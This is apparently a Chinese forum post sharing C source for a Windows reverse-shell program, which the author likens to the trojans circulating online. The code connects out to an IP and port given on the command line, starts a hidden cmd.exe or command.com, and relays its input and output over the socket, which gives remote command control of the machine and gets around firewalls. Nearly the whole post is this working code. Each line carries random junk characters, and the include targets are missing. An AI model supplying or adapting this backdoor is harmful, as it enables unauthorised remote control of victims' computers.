这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PoPR34]^J
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/* ============================== NlKVl~_ C
Rebound port in Windows NT )OxcCV?5Z
By wind,2006/7 )Se$N6u-
===============================*/ fi`\e
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#include 3Ke6lV)uq
#include Ddpcov
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#pragma comment(lib,"wsock32.lib") -eyF9++`
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void OutputShell(); 2Ki_d
SOCKET sClient; {5<fvMO!6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >V27#L2:J
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void main(int argc,char **argv) Mb 4"bDBsl
{ f pq|mY
WSADATA stWsaData; 6uFw+Ya#
int nRet; -bHlFNRm
SOCKADDR_IN stSaiClient,stSaiServer; /(51\RYkir
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if(argc != 3) /:(A9b-B
{ .'<K$:8@|
printf("Useage:\n\rRebound DestIP DestPort\n"); H${L F.8
return; Mh5>
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} m}s.a.x
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WSAStartup(MAKEWORD(2,2),&stWsaData); AguE)I&m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yxp,)os:
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stSaiClient.sin_family = AF_INET; A`Y^qXFb`
stSaiClient.sin_port = htons(0); d!0rq4v7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TPk?MeVy%W
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) SM4`Hys;p
{ B\)Te9k'
printf("Bind Socket Failed!\n"); ;..z)OP_
return; b(;u2 8
} `Y4K w
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stSaiServer.sin_family = AF_INET; |`#fX(=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E(|A"=\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #5)/B
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I@/
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{ A`f"<W-m
printf("Connect Error!"); Dn 0L%?_
return; F!ztU8,
} u*)/e9C
OutputShell(); \j62"
} "N6HX*
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void OutputShell() C`g
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{ ;6[6~L%K}
char szBuff[1024]; 8$\j| mN
SECURITY_ATTRIBUTES stSecurityAttributes; wPjq
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OSVERSIONINFO stOsversionInfo; ZxwrlaA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /ta}12Z
STARTUPINFO stStartupInfo; iiIns.V
char *szShell; U,EoCAm>
PROCESS_INFORMATION stProcessInformation; bAZoi0LR
unsigned long lBytesRead; kP&I}RY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ya8p
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cE
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stSecurityAttributes.lpSecurityDescriptor = 0; <Q9l'u]3$c
stSecurityAttributes.bInheritHandle = TRUE; _90D4kGU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?I[8rzBWU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BA2"GJvfIA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v7
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nXLz<wE
stStartupInfo.wShowWindow = SW_HIDE; j}ob7O&U'w
stStartupInfo.hStdInput = hReadPipe; 0@-4.IHl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FDLo|aP/v
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GetVersionEx(&stOsversionInfo); b},2A'X
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switch(stOsversionInfo.dwPlatformId) )4=86>XJT
{ OA&'T*)-A6
case 1: Gc`PO
szShell = "command.com"; H@1'El\9
break; $kTm"I
default: x:MwM?
szShell = "cmd.exe"; s"=TM$Vb
break; 8c)GUx
} nD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Gg'!(]v
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send(sClient,szMsg,77,0); m1pA]}Y/5o
while(1) @-dGZ5
{ 9m)$^U>oz
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Hp=BnN
if(lBytesRead) -a)1L'R
{ A
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >fXtu:C-!J
send(sClient,szBuff,lBytesRead,0); qKfUm:7Q_
} +Pl)E5W!=`
else :6nD "5(
{ qhGz2<}_j
lBytesRead=recv(sClient,szBuff,1024,0); _HHvL=
if(lBytesRead<=0) break; #kM|!U=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MRt"#CO
} metn&
} mxgT}L0i
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return; )hrsA&1w
}